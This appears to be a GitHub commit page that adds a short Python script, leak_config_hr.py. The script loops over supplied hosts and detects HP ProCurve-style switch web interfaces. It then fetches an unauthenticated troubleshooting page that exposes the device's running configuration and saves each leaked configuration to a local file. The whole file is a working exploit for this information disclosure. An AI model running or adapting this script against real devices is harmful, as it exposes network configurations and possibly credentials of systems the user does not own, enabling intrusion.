We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 68d71a2 commit 466cbe2Copy full SHA for 466cbe2
procurvy/leak_config_hr.py
@@ -0,0 +1,26 @@
1
+#!/usr/bin/env python
2
+from __future__ import print_function
3
+import sys
4
+import requests
5
+import urlparse
6
+
7
+def main(args):
8
+ for host in args:
9
+ if host[:4] != 'http':
10
+ host = 'http://' + host
11
+ if host[-1] != '/':
12
+ host = host + '/'
13
+ print(host)
14
+ sess = requests.Session()
15
+ resp = sess.get(host)
16
+ if resp.status_code == 200 and 'nhome.html' in resp.text:
17
+ resp = sess.get(host + 'html/trbl_confReportTxt.html')
18
+ if 'Running configuration' in resp.text:
19
+ domain = host.split('/')[2]
20
+ print("SUCCESS for", domain)
21
22
+ with open(domain + ".config.txt", "w") as handle:
23
+ handle.write(resp.text)
24
25
+if __name__ == "__main__":
26
+ main(sys.argv[1:])
0 commit comments